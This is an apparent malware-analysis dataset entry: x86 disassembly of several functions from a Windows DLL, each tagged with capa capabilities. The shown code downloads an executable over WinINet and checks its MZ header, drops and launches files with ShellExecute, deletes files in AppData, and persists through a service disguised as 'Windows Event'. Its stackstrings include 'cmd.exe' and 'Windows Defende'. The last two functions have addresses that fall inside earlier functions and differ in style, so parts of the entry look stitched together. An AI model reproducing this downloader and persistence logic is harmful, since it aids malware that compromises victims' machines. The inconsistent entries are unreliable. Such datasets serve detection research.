joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001d55a
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100420c0
mov eax, dword fs:[0]
push eax
sub esp, 0x390
mov eax, dword [0x10059400]
xor eax, esp
mov dword [esp + 0x388], eax
push ebx
mov eax, dword [0x10059400]
xor eax, esp
push eax
lea eax, [esp + 0x398]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x44]
push 0
push 0x1a
push eax
push 0
call ebx
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x72756f5c
push eax
lea eax, [esp + 0x48]
mov dword [esp + 0x30], 0x7461642e
push eax
mov byte [esp + 0x38], 0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
xor ecx, ecx
mov dword [esp + 0x1c], 0x726f745c
push ecx
push 0x23
lea eax, [esp + 0x25c]
mov dword [esp + 0x28], 0x7461642e
push eax
push ecx
mov byte [esp + 0x34], cl
call ebx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x258]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x2e646d63
mov dword [esp + 0x18], 0x657865
xor ebx, ebx
call fcn.1001c752
lea ecx, [esp + 0xc]
mov dword [esp + 0x34], 0x646e6957
mov dword [esp + 0x38], 0x4420736f
mov dword [esp + 0x3c], 0x6e656665
mov word [esp + 0x40], 0x6564
mov byte [esp + 0x42], bl
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
call fcn.100207f0
mov dword [esp + 0x3a0], ebx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x10]
call fcn.10020977
push 0x104
lea eax, [esp + 0x150]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 2
pop edx
lea ecx, [esp + 0x14c]
call fcn.10021669
push 3
pop edx
lea ecx, [esp + 0x14c]
call fcn.10021669
call fcn.1001d398
or dword [esp + 0x3a0], 0xffffffff
lea ecx, [esp + 0xc]
call fcn.10020954
mov ecx, dword [esp + 0x398]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x388]
xor ecx, esp
call fcn.10021ccc
mov esp, ebp
pop ebp
ret

Function at 0x1001d7ae
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x423]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
push 0x3ff
push 0
push eax
mov byte [ebp - 0x424], 0
call fcn.10022b50
push 0x400
lea eax, [ebp - 0x424]
push 0
push eax
call fcn.10022b50
movdqa xmm0, xmmword [0x10051000]
lea eax, [ebp - 0x24]
push esi
push eax
lea eax, [ebp - 0x424]
mov dword [ebp - 0x14], 0x575c7466
push eax
movdqu xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x10], 0x6f646e69
mov dword [ebp - 0xc], 0x255c7377
mov word [ebp - 8], 0x73
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
push ecx
push ebx
lea edx, [ebp - 0x424]
call fcn.10013cf8
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001dad8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
lea eax, [ebx + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1001db72
test edi, edi
je 0x1001db72
push 0
lea ecx, [esi + 4]
push ecx
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
push eax
lea eax, [esi + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
add dword [esi], eax
push 0x1e
adc dword [esi + 4], 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [ebx + 0x120]
sub esp, 0x10
push 8
push esi
push 0x986
call fcn.10015c31
jmp 0x1001db7d
mov ecx, dword [ebx + 0x120]
call fcn.10015c16
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret 8

Function at 0x1001db90
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov edi, ecx
push esi
push 0x80
push 3
push esi
push esi
push SysReAllocString
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1001dbd7
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, edi
call fcn.1001dc36
jmp 0x1001dc23
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [0x1005c434]
push 0x12c
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, dword [edi + 0x120]
lea eax, [ebp - 0x14]
sub esp, 0x10
push 0xc
push eax
push 0x988
call fcn.10015c31
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret 4
Function at 0x1001de97
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x150]
xor ebx, ebx
push ebx
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp dword [ebp + 0x10], 2
jne 0x1001deec
mov dword [ebp - 0x10], 0x67756c50
mov dword [ebp - 0xc], 0x6c2e6e69
mov word [ebp - 8], 0x676f
mov byte [ebp - 6], bl
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x10]
jmp 0x1001df0a
mov dword [ebp - 0x10], 0x2575525c
mov dword [ebp - 0xc], 0x58452e64
mov word [ebp - 8], 0x45
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001dfb3
push ebx
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp + 0x10], 2
je 0x1001dfb3
lea eax, [ebp - 0x150]
push 0x2e
push eax
call fcn.10029c60
pop ecx
pop ecx
test eax, eax
je 0x1001dfb3
lea eax, [ebp - 0x150]
mov dword [ebp - 0x18], 0x6e65706f
push eax
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001dfb3
push 5
push ebx
push ebx
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001f1bb
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x1001f28f
test edi, edi
je 0x1001f28f
lea eax, [ebp - 0x25c]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
test eax, eax
je 0x1001f287
cmp byte [ebp - 0x25c], 0
je 0x1001f287
lea esi, [ebp - 0x25c]
push 0x10050d70
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x1001f27f
push 0x10050d74
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x1001f27f
mov al, byte [esi]
mov byte [ebp - 0x260], al
mov al, byte [esi + 1]
mov byte [ebp - 0x25f], al
lea eax, [ebp - 0x68]
push 0x64
push eax
lea eax, [ebp - 0x260]
mov byte [ebp - 0x25e], 0
push eax
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceA]
test eax, eax
je 0x1001f28f
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x68]
push eax
push ebx
call fcn.10029d97
add esp, 0xc
test eax, eax
je 0x1001f2a2
add esi, 4
cmp byte [esi], 0
jne 0x1001f20e
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov eax, dword [ebp - 0x264]
add eax, ebx
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
xor eax, eax
inc eax
jmp 0x1001f291

Function at 0x1001f682
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
lea ebx, [ecx + 0x9d58]
mov dword [ebp - 0x18], eax
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
je 0x1001f6f8
test edi, edi
je 0x1001f6f8
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], ecx
test eax, eax
je 0x1001f6fa
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push 0x1001b169
push esi
push esi
call fcn.10027cca
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1001f6fa
xor esi, esi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret 8
Function at 0x1002012d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
xor esi, esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x18]
push esi
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
mov byte [ebp - 0x10], al
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x10020087
push esi
push esi
call fcn.10027cca
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10021ccc
mov esp, ebp
pop ebp
ret

Function at 0x1002020a
Capabilities:
Create http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
movdqa xmm0, xmmword [0x10050fc0]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x1c], 0x69746170
xor ecx, ecx
mov dword [ebp - 0x18], 0x29656c62
push ecx
push ecx
inc eax
mov dword [ebp - 0x444], ecx
push ecx
mov dword [ebp - 0x44c], eax
mov ebx, edx
mov dword [ebp - 0x450], eax
lea eax, [ebp - 0x2c]
push ecx
push eax
mov dword [ebp - 0x448], ecx
movdqu xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 0x14], cl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
xor eax, eax
test edi, edi
je 0x10020389
push eax
push SysReAllocString
push eax
push eax
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
xor eax, eax
test esi, esi
je 0x10020389
push eax
push eax
push 2
push eax
push eax
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
movdqa xmm0, xmmword [0x10050f50]
mov ebx, eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x10], 0x494e4957
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x2e54454e
push eax
mov dword [ebp - 8], 0x6c6c64
movdqu xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x454], eax
cmp ebx, 0xffffffff
je 0x10020377
push 0x400
lea eax, [ebp - 0x440]
push 0
push eax
call fcn.10022b50
add esp, 0xc
lea eax, [ebp - 0x444]
push eax
push 0x400
lea eax, [ebp - 0x440]
push eax
push esi
call dword [ebp - 0x454]
cmp dword [ebp - 0x44c], 0
je 0x1002033a
mov eax, 0x5a4d
cmp word [ebp - 0x440], ax
jne 0x10020369
and dword [ebp - 0x44c], 0
lea eax, [ebp - 0x448]
push 0
push eax
push dword [ebp - 0x444]
lea eax, [ebp - 0x440]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 0x444], 0
ja 0x100202f3
jmp 0x10020370
and dword [ebp - 0x450], 0
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x1002057d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x100205ea
mov ebx, 0x1002051a
test ebx, ebx
je 0x100205ea
xor edi, edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], edi
test eax, eax
je 0x100205ea
push edi
push edi
lea eax, [ebp - 0x14]
push eax
push 0x1001b169
push edi
push edi
call fcn.10027cca
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
jmp 0x100205ec
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x10020f20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x38
mov eax, 0x10042637
call fcn.10039ffc
mov ebx, ecx
mov dword [ebp - 0x44], ebx
call fcn.10014081
mov byte [ebx], al
lea edi, [ebx + 0x144]
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [ebx + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 8], eax
xor eax, eax
push 2
mov word [ebx + 0xc], ax
lea eax, [edi + 0x14]
mov byte [ebx + 1], dl
pop ecx
dec ecx
mov dword [eax - 8], edx
mov dword [eax - 4], edx
mov dword [eax], edx
lea eax, [eax + 0x18]
jns 0x10020f5b
push 6
pop ecx
mov dword [ebp - 0x30], edx
lea esi, [ebp - 0x40]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x40], edx
mov byte [ebp - 0x3c], dl
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], str.inx.xml
rep movsd dword es:[edi], dword [esi]
call fcn.10014081
test al, al
jne 0x10020fb3
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x335f6b73
push eax
mov dword [ebp - 0x20], 0x6c642e32
mov word [ebp - 0x1c], 0x6c
call fcn.10022980
push eax
lea eax, [ebp - 0x24]
jmp 0x10020fd1
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x642e6b73
push eax
mov word [ebp - 0x14], 0x6c6c
mov byte [ebp - 0x12], 0
call fcn.10022980
push eax
lea eax, [ebp - 0x18]
push eax
mov esi, 0x1005c440
push esi
call fcn.10021ce0
and dword [ebp - 0x38], 0
lea edi, [ebx + 0x15c]
add esp, 0x10
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x40], 1
lea esi, [ebp - 0x40]
push 6
pop ecx
rep movsd dword es:[edi], dword [esi]
and dword [ebp - 0x38], 0
lea edi, [ebx + 0x174]
push 6
pop ecx
lea esi, [ebp - 0x40]
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x34], str.Plex.dll
rep movsd dword es:[edi], dword [esi]
lea edi, [ebx + 0x18c]
push 3
mov dword [ebp - 0x28], edi
pop ebx
push 0x28
call fcn.10022c52
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
xor edx, edx
mov dword [ebp - 4], edx
test esi, esi
je 0x10021070
push 0xa
pop ecx
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, esi
mov byte [esi], dl
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], edx
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], edx
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], edx
mov dword [esi + 4], edx
mov dword [esi + 8], edx
call fcn.10013670
mov edi, dword [ebp - 0x28]
jmp 0x10021072
mov esi, edx
or dword [ebp - 4], 0xffffffff
mov dword [edi], esi
add edi, 4
mov dword [ebp - 0x28], edi
dec ebx
jne 0x10021028
mov eax, dword [ebp - 0x44]
call fcn.10039fab
ret 8
Function at 0x10021146
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push 0x30
mov eax, 0x100426af
call fcn.1003a068
mov esi, ecx
mov dword [ebp - 0x38], esi
mov edi, dword [ebp + 8]
lea eax, [esi + 0xe]
mov dword [ebp - 0x30], eax
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
je 0x100212f5
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x34], eax
test eax, eax
jne 0x100211ab
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x100212f5
mov dword [ebp - 0x2c], ebx
push 4
push 0x3000
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x30], eax
push ebx
lea ecx, [ebp - 0x2c]
push ecx
push dword [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
call fcn.10001bf6
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov ecx, dword [esi + eax*4 + 0x18c]
test ecx, ecx
je 0x10021259
push dword [ebp - 0x30]
call fcn.10012f8e
test eax, eax
jne 0x10021259
lea eax, [esi + 0xe]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov dword [ebp - 0x24], 0xd8d4d3bc
mov dword [ebp - 0x20], 0xfebce5b2
mov dword [ebp - 0x1c], 0xdcb0a7ca
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x28], ebx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000b30d
mov byte [ebp - 4], 1
lea eax, [ebp - 0x28]
push eax
mov ecx, esi
call fcn.100210b0
mov byte [ebp - 4], 2
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x28]
lea ecx, [ecx - 0x10]
call fcn.10001f5f
jmp 0x100212f5
or dword [ebp - 4], 0xffffffff
mov eax, dword [edi]
push dword [edi + 4]
mov ecx, dword [esi + eax*4 + 0x18c]
call fcn.100135a9
test eax, eax
je 0x10021287
cmp dword [edi], 0
jne 0x10021287
push dword [edi + 8]
push dword [esi + 8]
push dword [esi + 4]
call eax
add esp, 0xc
mov ebx, eax
cmp dword [edi], 1
jne 0x10021293
mov byte [esi + 0x160], 1
mov eax, ebx
jmp 0x100212f7
xor eax, eax
call fcn.10039fba
ret 4

Function at 0x10021440
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [ecx + 0xe]
push 0x134
xor ebx, ebx
mov word [ebp - 8], 0x5c
push ebx
push esi
call fcn.10022b50
add esp, 0xc
push ebx
push 0x1a
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 8]
push eax
push esi
call fcn.10028910
push edi
push esi
call fcn.10028910
mov ecx, dword [ebp - 4]
add esp, 0x10
mov eax, esi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret 4
Function at 0x100215fb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, dword [edi]
cmp ecx, 3
jl 0x10021613
xor eax, eax
jmp 0x10021661
imul eax, ecx, 0x18
cmp byte [eax + esi + 0x148], 0
jne 0x10021659
lea eax, [ecx + 0xe]
mov ecx, esi
imul eax, eax, 0x18
push dword [eax + esi]
call fcn.10021440
lea eax, [esi + 0xe]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1002164d
push dword [edi]
mov ecx, esi
push 0xc87
call fcn.100214a3
push edi
mov ecx, esi
call fcn.10021146
test eax, eax
je 0x1002160f
push edi
mov ecx, esi
call fcn.100212ff
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10021669
Capabilities:
Contain obfuscated stackstrings
Create service
Delete service
Modify service
Persist via windows service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x64], ecx
push 0xf003f
push ebx
push ebx
mov esi, edx
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x14], 0x646e6957
mov edi, ebx
mov dword [ebp - 0x10], 0x2073776f
mov dword [ebp - 0xc], 0x6e657645
mov word [ebp - 8], 0x6e74
mov byte [ebp - 6], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x100217c7
test esi, esi
je 0x100216e3
push 0xf01ff
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x100217bc
mov eax, dword [ebp - 0x68]
sub esi, ebx
je 0x10021722
dec esi
je 0x10021717
dec esi
je 0x10021708
dec esi
jne 0x100217ae
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x100217ae
jmp 0x100217ab
lea eax, [ebp - 0x48]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x100216fb
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
jmp 0x100216fb
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x64]
xor esi, esi
lea ecx, [ebp - 0x14]
inc esi
push esi
push 2
push 0x110
push 0xf01ff
push ecx
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x64], eax
lea edi, [ebp - 0x58]
xor eax, eax
mov dword [ebp - 0x5c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
mov edi, dword [ebp - 0x64]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call esi
xor eax, eax
mov dword [ebp - 0x58], ebx
inc eax
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x5c]
push eax
push 2
push edi
mov dword [ebp - 0x28], 0x1388
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x50], 3
mov dword [ebp - 0x54], ebx
call esi
lea eax, [ebp - 0x5c]
push eax
push 1
push edi
call esi
test edi, edi
jne 0x100217b2
mov dword [ebp - 0x60], ebx
test edi, edi
je 0x100217b9
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, dword [ebp - 0x60]
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret
Function at 0x10020fad
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10020fc5
push 0x20db
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10020fd6
push 0xaf7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
pop ebp
ret

Function at 0x100211ce
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100211f0
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100211ee
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jmp 0x1002123b
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x1002121e
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 2
jge 0x1002123b
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x14]
call fcn.10019e95
mov dword [eax], 6
jmp 0x10021213
mov esp, ebp
pop ebp
ret